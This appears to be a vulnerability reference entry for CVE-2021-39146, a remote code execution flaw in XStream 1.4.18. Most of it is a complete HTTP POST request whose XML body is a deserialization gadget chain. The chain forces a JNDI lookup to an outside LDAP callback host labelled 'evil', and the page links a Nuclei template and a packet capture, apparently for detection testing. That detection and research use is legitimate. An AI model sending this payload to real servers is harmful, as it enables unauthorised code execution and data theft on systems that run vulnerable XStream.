CVE-2021-39146: XStream 1.4.18 - Arbitrary Code Execution

🔍 Vulnerability Description

XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. Setups which followed XStream’s security recommendations with an allow-list are not impacted.

🌐 HTTP Request

POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; en-ca) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20
Connection: close
Content-Length: 2162
Content-Type: application/xml
Accept-Encoding: gzip

<sorted-set>

  <javax.naming.ldap.Rdn_-RdnEntry>

    <type>test</type>

    <value class='javax.swing.MultiUIDefaults' serialization='custom'>

      <unserializable-parents/>

      <hashtable>

          <default>

            <loadFactor>0.75</loadFactor>

            <threshold>525</threshold>

          </default>

          <int>700</int>

          <int>0</int>

      </hashtable>

      <javax.swing.UIDefaults>

          <default>

            <defaultLocale>zh_CN</defaultLocale>

            <resourceCache/>

          </default>

      </javax.swing.UIDefaults>

      <javax.swing.MultiUIDefaults>

          <default>

            <tables>

            <javax.swing.UIDefaults serialization='custom'>

              <unserializable-parents/>

              <hashtable>

                <default>

                  <loadFactor>0.75</loadFactor>

                  <threshold>525</threshold>

                </default>

                <int>700</int>

                <int>1</int>

                <string>lazyValue</string>

                <javax.swing.UIDefaults_-ProxyLazyValue>

                  <className>javax.naming.InitialContext</className>

                  <methodName>doLookup</methodName>

                  <args>

                    <string>ldap://d5jo1s1le0o4fh3rdg4gzpeopcbm88c58.oast.pro/#evil</string>

                  </args>

                </javax.swing.UIDefaults_-ProxyLazyValue>

              </hashtable>

              <javax.swing.UIDefaults>

                <default>

                  <defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/>

                  <resourceCache/>

                </default>

              </javax.swing.UIDefaults>

            </javax.swing.UIDefaults>

            </tables>

          </default>

      </javax.swing.MultiUIDefaults>

    </value>

  </javax.naming.ldap.Rdn_-RdnEntry>

  <javax.naming.ldap.Rdn_-RdnEntry>

    <type>test</type>

    <value class='com.sun.org.apache.xpath.internal.objects.XString'>

      <m__obj class='string'>test</m__obj>

    </value>

  </javax.naming.ldap.Rdn_-RdnEntry>

</sorted-set>

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-39146.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-39146.pcap